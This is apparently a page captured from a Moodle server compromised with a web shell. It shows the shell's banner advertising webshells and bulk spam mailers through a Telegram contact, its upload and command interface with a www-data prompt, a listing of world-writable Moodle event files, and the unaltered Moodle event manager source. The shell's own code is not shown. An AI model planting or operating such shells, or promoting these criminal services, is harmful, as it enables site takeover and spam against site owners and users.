__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\event;

defined('MOODLE_INTERNAL') || die();

/**
 * New event manager class.
 *
 * @package    core
 * @since      Moodle 2.6
 * @copyright  2013 Petr Skoda {@link http://skodak.org}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * Class used for event dispatching.
 *
 * Note: Do NOT use directly in your code, it is intended to be used from
 *       base event class only.
 */
class manager {
    /** @var array buffer of event for dispatching */
    protected static $buffer = array();

    /** @var array buffer for events that were not sent to external observers when DB transaction in progress */
    protected static $extbuffer = array();

    /** @var bool evert dispatching already in progress - prevents nesting */
    protected static $dispatching = false;

    /** @var array cache of all observers */
    protected static $allobservers = null;

    /** @var bool should we reload observers after the test? */
    protected static $reloadaftertest = false;

    /**
     * Trigger new event.
     *
     * @internal to be used only from \core\event\base::trigger() method.
     * @param \core\event\base $event
     *
     * @throws \coding_Exception if used directly.
     */
    public static function dispatch(\core\event\base $event) {
        if (during_initial_install()) {
            return;
        }
        if (!$event->is_triggered() or $event->is_dispatched()) {
            throw new \coding_exception('Illegal event dispatching attempted.');
        }

        self::$buffer[] = $event;

        if (self::$dispatching) {
            return;
        }

        self::$dispatching = true;
        self::process_buffers();
        self::$dispatching = false;
    }

    /**
     * Notification from DML layer.
     * @internal to be used from DML layer only.
     */
    public static function database_transaction_commited() {
        if (self::$dispatching or empty(self::$extbuffer)) {
            return;
        }

        self::$dispatching = true;
        self::process_buffers();
        self::$dispatching = false;
    }

    /**
     * Notification from DML layer.
     * @internal to be used from DML layer only.
     */
    public static function database_transaction_rolledback() {
        self::$extbuffer = array();
    }

    protected static function process_buffers() {
        global $DB, $CFG;
        self::init_all_observers();

        while (self::$buffer or self::$extbuffer) {

            $fromextbuffer = false;
            $addedtoextbuffer = false;

            if (self::$extbuffer and !$DB->is_transaction_started()) {
                $fromextbuffer = true;
                $event = reset(self::$extbuffer);
                unset(self::$extbuffer[key(self::$extbuffer)]);

            } else if (self::$buffer) {
                $event = reset(self::$buffer);
                unset(self::$buffer[key(self::$buffer)]);

            } else {
                return;
            }

            $observingclasses = self::get_observing_classes($event);
            foreach ($observingclasses as $observingclass) {
                if (!isset(self::$allobservers[$observingclass])) {
                    continue;
                }
                foreach (self::$allobservers[$observingclass] as $observer) {
                    if ($observer->internal) {
                        if ($fromextbuffer) {
                            // Do not send buffered external events to internal handlers,
                            // they processed them already.
                            continue;
                        }
                    } else {
                        if ($DB->is_transaction_started()) {
                            if ($fromextbuffer) {
                                // Weird!
                                continue;
                            }
                            // Do not notify external observers while in DB transaction.
                            if (!$addedtoextbuffer) {
                                self::$extbuffer[] = $event;
                                $addedtoextbuffer = true;
                            }
                            continue;
                        }
                    }

                    if (isset($observer->includefile) and file_exists($observer->includefile)) {
                        include_once($observer->includefile);
                    }
                    if (is_callable($observer->callable)) {
                        try {
                            call_user_func($observer->callable, $event);
                        } catch (\Exception $e) {
                            // Observers are notified before installation and upgrade, this may throw errors.
                            if (empty($CFG->upgraderunning)) {
                                // Ignore errors during upgrade, otherwise warn developers.
                                debugging("Exception encountered in event observer '$observer->callable': ".$e->getMessage(), DEBUG_DEVELOPER, $e->getTrace());
                            }
                        }
                    } else {
                        debugging("Can not execute event observer '$observer->callable'");
                    }
                }
            }

            // TODO: Invent some infinite loop protection in case events cross-trigger one another.
        }
    }

    /**
     * Returns list of classes related to this event.
     * @param \core\event\base $event
     * @return array
     */
    protected static function get_observing_classes(\core\event\base $event) {
        $classname = get_class($event);
        $observers = array('\\'.$classname);
        while ($classname = get_parent_class($classname)) {
            $observers[] = '\\'.$classname;
        }
        $observers = array_reverse($observers, false);

        return $observers;
    }

    /**
     * Initialise the list of observers.
     */
    protected static function init_all_observers() {
        global $CFG;

        if (is_array(self::$allobservers)) {
            return;
        }

        if (!PHPUNIT_TEST and !during_initial_install()) {
            $cache = \cache::make('core', 'observers');
            $cached = $cache->get('all');
            $dirroot = $cache->get('dirroot');
            if ($dirroot === $CFG->dirroot and is_array($cached)) {
                self::$allobservers = $cached;
                return;
            }
        }

        self::$allobservers = array();

        $plugintypes = \core_component::get_plugin_types();
        $plugintypes = array_merge(array('core' => 'not used'), $plugintypes);
        $systemdone = false;
        foreach ($plugintypes as $plugintype => $ignored) {
            if ($plugintype === 'core') {
                $plugins['core'] = "$CFG->dirroot/lib";
            } else {
                $plugins = \core_component::get_plugin_list($plugintype);
            }

            foreach ($plugins as $plugin => $fulldir) {
                if (!file_exists("$fulldir/db/events.php")) {
                    continue;
                }
                $observers = null;
                include("$fulldir/db/events.php");
                if (!is_array($observers)) {
                    continue;
                }
                self::add_observers($observers, "$fulldir/db/events.php", $plugintype, $plugin);
            }
        }

        self::order_all_observers();

        if (!PHPUNIT_TEST and !during_initial_install()) {
            $cache->set('all', self::$allobservers);
            $cache->set('dirroot', $CFG->dirroot);
        }
    }

    /**
     * Add observers.
     * @param array $observers
     * @param string $file
     * @param string $plugintype Plugin type of the observer.
     * @param string $plugin Plugin of the observer.
     */
    protected static function add_observers(array $observers, $file, $plugintype = null, $plugin = null) {
        global $CFG;

        foreach ($observers as $observer) {
            if (empty($observer['eventname']) or !is_string($observer['eventname'])) {
                debugging("Invalid 'eventname' detected in $file observer definition", DEBUG_DEVELOPER);
                continue;
            }
            if ($observer['eventname'] === '*') {
                $observer['eventname'] = '\core\event\base';
            }
            if (strpos($observer['eventname'], '\\') !== 0) {
                $observer['eventname'] = '\\'.$observer['eventname'];
            }
            if (empty($observer['callback'])) {
                debugging("Invalid 'callback' detected in $file observer definition", DEBUG_DEVELOPER);
                continue;
            }
            $o = new \stdClass();
            $o->callable = $observer['callback'];
            if (!isset($observer['priority'])) {
                $o->priority = 0;
            } else {
                $o->priority = (int)$observer['priority'];
            }
            if (!isset($observer['internal'])) {
                $o->internal = true;
            } else {
                $o->internal = (bool)$observer['internal'];
            }
            if (empty($observer['includefile'])) {
                $o->includefile = null;
            } else {
                if ($CFG->admin !== 'admin' and strpos($observer['includefile'], '/admin/') === 0) {
                    $observer['includefile'] = preg_replace('|^/admin/|', '/'.$CFG->admin.'/', $observer['includefile']);
                }
                $observer['includefile'] = $CFG->dirroot . '/' . ltrim($observer['includefile'], '/');
                if (!file_exists($observer['includefile'])) {
                    debugging("Invalid 'includefile' detected in $file observer definition", DEBUG_DEVELOPER);
                    continue;
                }
                $o->includefile = $observer['includefile'];
            }
            $o->plugintype = $plugintype;
            $o->plugin = $plugin;
            self::$allobservers[$observer['eventname']][] = $o;
        }
    }

    /**
     * Reorder observers to allow quick lookup of observer for each event.
     */
    protected static function order_all_observers() {
        foreach (self::$allobservers as $classname => $observers) {
            \core_collator::asort_objects_by_property($observers, 'priority', \core_collator::SORT_NUMERIC);
            self::$allobservers[$classname] = array_reverse($observers);
        }
    }

    /**
     * Returns all observers in the system. This is only for use for reporting on the list of observers in the system.
     *
     * @access private
     * @return array An array of stdClass with all core observer details.
     */
    public static function get_all_observers() {
        self::init_all_observers();
        return self::$allobservers;
    }

    /**
     * Replace all standard observers.
     * @param array $observers
     * @return array
     *
     * @throws \coding_Exception if used outside of unit tests.
     */
    public static function phpunit_replace_observers(array $observers) {
        if (!PHPUNIT_TEST) {
            throw new \coding_exception('Cannot override event observers outside of phpunit tests!');
        }

        self::phpunit_reset();
        self::$allobservers = array();
        self::$reloadaftertest = true;

        self::add_observers($observers, 'phpunit');
        self::order_all_observers();

        return self::$allobservers;
    }

    /**
     * Reset everything if necessary.
     * @private
     *
     * @throws \coding_Exception if used outside of unit tests.
     */
    public static function phpunit_reset() {
        if (!PHPUNIT_TEST) {
            throw new \coding_exception('Cannot reset event manager outside of phpunit tests!');
        }
        self::$buffer = array();
        self::$extbuffer = array();
        self::$dispatching = false;
        if (!self::$reloadaftertest) {
            self::$allobservers = null;
        }
        self::$reloadaftertest = false;
    }
}

Filemanager

Name Type Size Permission Actions
antivirus_scan_data_error.php File 1.97 KB 0777
antivirus_scan_file_error.php File 1.97 KB 0777
assessable_submitted.php File 2.05 KB 0777
assessable_uploaded.php File 2.81 KB 0777
badge_archived.php File 2.51 KB 0777
badge_awarded.php File 2.97 KB 0777
badge_created.php File 2.51 KB 0777
badge_criteria_created.php File 3.16 KB 0777
badge_criteria_deleted.php File 3.16 KB 0777
badge_criteria_updated.php File 3.16 KB 0777
badge_deleted.php File 3.46 KB 0777
badge_disabled.php File 2.52 KB 0777
badge_duplicated.php File 2.52 KB 0777
badge_enabled.php File 2.52 KB 0777
badge_listing_viewed.php File 3.62 KB 0777
badge_revoked.php File 3.12 KB 0777
badge_updated.php File 2.51 KB 0777
badge_viewed.php File 2.91 KB 0777
base.php File 34.42 KB 0777
blog_association_created.php File 4.22 KB 0777
blog_association_deleted.php File 3.49 KB 0777
blog_comment_created.php File 1.86 KB 0777
blog_comment_deleted.php File 1.86 KB 0777
blog_entries_viewed.php File 3.51 KB 0777
blog_entry_created.php File 3.37 KB 0777
blog_entry_deleted.php File 3.13 KB 0777
blog_entry_updated.php File 3.34 KB 0777
blog_external_added.php File 2.93 KB 0777
blog_external_removed.php File 2.21 KB 0777
blog_external_updated.php File 2.93 KB 0777
blog_external_viewed.php File 2.21 KB 0777
calendar_event_created.php File 3.36 KB 0777
calendar_event_deleted.php File 3.09 KB 0777
calendar_event_updated.php File 3.31 KB 0777
calendar_subscription_created.php File 4.25 KB 0777
calendar_subscription_deleted.php File 4.54 KB 0777
calendar_subscription_updated.php File 4.26 KB 0777
capability_assigned.php File 3.17 KB 0777
capability_unassigned.php File 2.4 KB 0777
cohort_created.php File 2.22 KB 0777
cohort_deleted.php File 2.22 KB 0777
cohort_member_added.php File 2.61 KB 0777
cohort_member_removed.php File 2.63 KB 0777
cohort_updated.php File 2.21 KB 0777
comment_created.php File 3.11 KB 0777
comment_deleted.php File 3.11 KB 0777
comments_viewed.php File 2.19 KB 0777
competency_comment_created.php File 1.69 KB 0777
competency_comment_deleted.php File 1.54 KB 0777
competency_created.php File 2.96 KB 0777
competency_deleted.php File 3.3 KB 0777
competency_evidence_created.php File 5.5 KB 0777
competency_framework_created.php File 3.15 KB 0777
competency_framework_deleted.php File 2.92 KB 0777
competency_framework_updated.php File 3.15 KB 0777
competency_framework_viewed.php File 3.04 KB 0777
competency_plan_approved.php File 3.01 KB 0777
competency_plan_completed.php File 3.02 KB 0777
competency_plan_created.php File 2.93 KB 0777
competency_plan_deleted.php File 2.75 KB 0777
competency_plan_reopened.php File 3.01 KB 0777
competency_plan_review_request_cancelled.php File 3.11 KB 0777
competency_plan_review_requested.php File 3.06 KB 0777
competency_plan_review_started.php File 3.05 KB 0777
competency_plan_review_stopped.php File 3.05 KB 0777
competency_plan_unapproved.php File 3.02 KB 0777
competency_plan_unlinked.php File 2.93 KB 0777
competency_plan_updated.php File 3.04 KB 0777
competency_plan_viewed.php File 2.92 KB 0777
competency_template_created.php File 3.03 KB 0777
competency_template_deleted.php File 2.79 KB 0777
competency_template_updated.php File 3.13 KB 0777
competency_template_viewed.php File 3.02 KB 0777
competency_updated.php File 2.96 KB 0777
competency_user_competency_plan_viewed.php File 4.23 KB 0777
competency_user_competency_rated.php File 3.88 KB 0777
competency_user_competency_rated_in_course.php File 4.69 KB 0777
competency_user_competency_rated_in_plan.php File 4.56 KB 0777
competency_user_competency_review_request_cancelled.php File 3.5 KB 0777
competency_user_competency_review_requested.php File 3.48 KB 0777
competency_user_competency_review_started.php File 3.46 KB 0777
competency_user_competency_review_stopped.php File 3.46 KB 0777
competency_user_competency_viewed.php File 3.72 KB 0777
competency_user_competency_viewed_in_course.php File 4.27 KB 0777
competency_user_competency_viewed_in_plan.php File 4.31 KB 0777
competency_user_evidence_created.php File 3.22 KB 0777
competency_user_evidence_deleted.php File 3.04 KB 0777
competency_user_evidence_updated.php File 3.22 KB 0777
competency_viewed.php File 2.96 KB 0777
completion_defaults_updated.php File 3 KB 0777
config_log_created.php File 3.61 KB 0777
content_viewed.php File 3.54 KB 0777
contentbank_content_created.php File 3.77 KB 0777
contentbank_content_deleted.php File 3.53 KB 0777
contentbank_content_updated.php File 3.77 KB 0777
contentbank_content_uploaded.php File 3.77 KB 0777
contentbank_content_viewed.php File 3.76 KB 0777
context_locked.php File 2.44 KB 0777
context_unlocked.php File 2.45 KB 0777
course_backup_created.php File 3.24 KB 0777
course_category_created.php File 2.27 KB 0777
course_category_deleted.php File 3.56 KB 0777
course_category_updated.php File 2.34 KB 0777
course_category_viewed.php File 2.31 KB 0777
course_completed.php File 4.11 KB 0777
course_completion_updated.php File 2.09 KB 0777
course_content_deleted.php File 2.52 KB 0777
course_created.php File 2.73 KB 0777
course_deleted.php File 2.59 KB 0777
course_ended.php File 2.47 KB 0777
course_information_viewed.php File 2.45 KB 0777
course_module_completion_updated.php File 3.75 KB 0777
course_module_created.php File 4.38 KB 0777
course_module_deleted.php File 2.97 KB 0777
course_module_instance_list_viewed.php File 3.17 KB 0777
course_module_instances_list_viewed.php File 1.72 KB 0777
course_module_updated.php File 4.36 KB 0777
course_module_viewed.php File 2.85 KB 0777
course_reset_ended.php File 2.52 KB 0777
course_reset_started.php File 2.54 KB 0777
course_resources_list_viewed.php File 2.41 KB 0777
course_restored.php File 3.93 KB 0777
course_section_created.php File 3.47 KB 0777
course_section_deleted.php File 2.63 KB 0777
course_section_updated.php File 2.83 KB 0777
course_started.php File 2.48 KB 0777
course_updated.php File 2.6 KB 0777
course_user_report_viewed.php File 3.15 KB 0777
course_viewed.php File 3.57 KB 0777
courses_searched.php File 2.7 KB 0777
dashboard_reset.php File 1.97 KB 0777
dashboard_viewed.php File 1.77 KB 0777
dashboards_reset.php File 2.17 KB 0777
database_text_field_content_replaced.php File 2.51 KB 0777
draft_file_added.php File 2.76 KB 0777
draft_file_deleted.php File 2.88 KB 0777
email_failed.php File 2.87 KB 0777
enrol_instance_created.php File 3.23 KB 0777
enrol_instance_deleted.php File 3.28 KB 0777
enrol_instance_updated.php File 3.28 KB 0777
grade_deleted.php File 4.15 KB 0777
grade_exported.php File 2.59 KB 0777
grade_item_created.php File 4.12 KB 0777
grade_item_deleted.php File 1.98 KB 0777
grade_item_updated.php File 2.05 KB 0777
grade_letter_created.php File 2.53 KB 0777
grade_letter_deleted.php File 2.24 KB 0777
grade_letter_updated.php File 2.54 KB 0777
grade_report_viewed.php File 2.44 KB 0777
group_created.php File 2.09 KB 0777
group_deleted.php File 2.09 KB 0777
group_member_added.php File 3.12 KB 0777
group_member_removed.php File 2.49 KB 0777
group_message_sent.php File 4.83 KB 0777
group_updated.php File 2.09 KB 0777
grouping_created.php File 2.12 KB 0777
grouping_deleted.php File 2.2 KB 0777
grouping_group_assigned.php File 2.88 KB 0777
grouping_group_unassigned.php File 2.89 KB 0777
grouping_updated.php File 2.11 KB 0777
insights_viewed.php File 2.37 KB 0777
manager.php File 12.45 KB 0777
message_contact_added.php File 2.58 KB 0777
message_contact_removed.php File 2.59 KB 0777
message_deleted.php File 4.66 KB 0777
message_sent.php File 4.12 KB 0777
message_user_blocked.php File 2.33 KB 0777
message_user_unblocked.php File 2.34 KB 0777
message_viewed.php File 3.04 KB 0777
mnet_access_control_created.php File 3.33 KB 0777
mnet_access_control_updated.php File 3.4 KB 0777
moodlenet_resource_exported.php File 2.64 KB 0777
mycourses_viewed.php File 1.6 KB 0777
note_created.php File 2.97 KB 0777
note_deleted.php File 2.67 KB 0777
note_updated.php File 2.97 KB 0777
notes_viewed.php File 2.23 KB 0777
notification_sent.php File 4.37 KB 0777
notification_viewed.php File 3.75 KB 0777
prediction_action_started.php File 3.26 KB 0777
qbank_plugin_base.php File 2.03 KB 0777
qbank_plugin_disabled.php File 1.29 KB 0777
qbank_plugin_enabled.php File 1.28 KB 0777
question_base.php File 3.75 KB 0777
question_category_base.php File 2.83 KB 0777
question_category_created.php File 1.78 KB 0777
question_category_deleted.php File 1.75 KB 0777
question_category_moved.php File 1.74 KB 0777
question_category_updated.php File 1.75 KB 0777
question_category_viewed.php File 1.74 KB 0777
question_created.php File 2.65 KB 0777
question_deleted.php File 2.17 KB 0777
question_moved.php File 4 KB 0777
question_updated.php File 1.86 KB 0777
question_viewed.php File 1.86 KB 0777
questions_exported.php File 3.31 KB 0777
questions_imported.php File 3.31 KB 0777
recent_activity_viewed.php File 2.27 KB 0777
role_allow_assign_updated.php File 2.29 KB 0777
role_allow_override_updated.php File 2.3 KB 0777
role_allow_switch_updated.php File 2.29 KB 0777
role_allow_view_updated.php File 2.29 KB 0777
role_assigned.php File 3.29 KB 0777
role_capabilities_updated.php File 2.83 KB 0777
role_created.php File 2.2 KB 0777
role_deleted.php File 2.76 KB 0777
role_unassigned.php File 3.27 KB 0777
role_updated.php File 2.35 KB 0777
scale_created.php File 2.48 KB 0777
scale_deleted.php File 2.19 KB 0777
scale_updated.php File 2.48 KB 0777
search_indexed.php File 2.07 KB 0777
search_results_viewed.php File 3.14 KB 0777
section_viewed.php File 2.58 KB 0777
tag_added.php File 4.57 KB 0777
tag_collection_created.php File 2.2 KB 0777
tag_collection_deleted.php File 2.2 KB 0777
tag_collection_updated.php File 2.2 KB 0777
tag_created.php File 3.18 KB 0777
tag_deleted.php File 2.65 KB 0777
tag_flagged.php File 2.65 KB 0777
tag_removed.php File 4.58 KB 0777
tag_unflagged.php File 2.65 KB 0777
tag_updated.php File 2.71 KB 0777
unknown_logged.php File 1.44 KB 0777
url_blocked.php File 3.04 KB 0777
user_created.php File 3.92 KB 0777
user_deleted.php File 3.52 KB 0777
user_enrolment_created.php File 3.04 KB 0777
user_enrolment_deleted.php File 3.25 KB 0777
user_enrolment_updated.php File 3.06 KB 0777
user_graded.php File 4.66 KB 0777
user_info_category_created.php File 3.47 KB 0777
user_info_category_deleted.php File 3.2 KB 0777
user_info_category_updated.php File 3.46 KB 0777
user_info_field_created.php File 3.97 KB 0777
user_info_field_deleted.php File 3.67 KB 0777
user_info_field_updated.php File 3.97 KB 0777
user_list_viewed.php File 2.47 KB 0777
user_loggedin.php File 2.87 KB 0777
user_loggedinas.php File 3.1 KB 0777
user_loggedout.php File 2.36 KB 0777
user_login_failed.php File 3.73 KB 0777
user_password_policy_failed.php File 2.57 KB 0777
user_password_updated.php File 3.56 KB 0777
user_profile_viewed.php File 3.28 KB 0777
user_updated.php File 3.02 KB 0777
userfeedback_give.php File 1.71 KB 0777
userfeedback_remind.php File 1.72 KB 0777
virus_infected_data_detected.php File 2.17 KB 0777
virus_infected_file_detected.php File 2.17 KB 0777
webservice_function_called.php File 2.42 KB 0777
webservice_login_failed.php File 3.09 KB 0777
webservice_service_created.php File 2.5 KB 0777
webservice_service_deleted.php File 2.3 KB 0777
webservice_service_updated.php File 2.3 KB 0777
webservice_service_user_added.php File 2.68 KB 0777
webservice_service_user_removed.php File 2.69 KB 0777
webservice_token_created.php File 2.96 KB 0777
webservice_token_sent.php File 2.07 KB 0777
Filemanager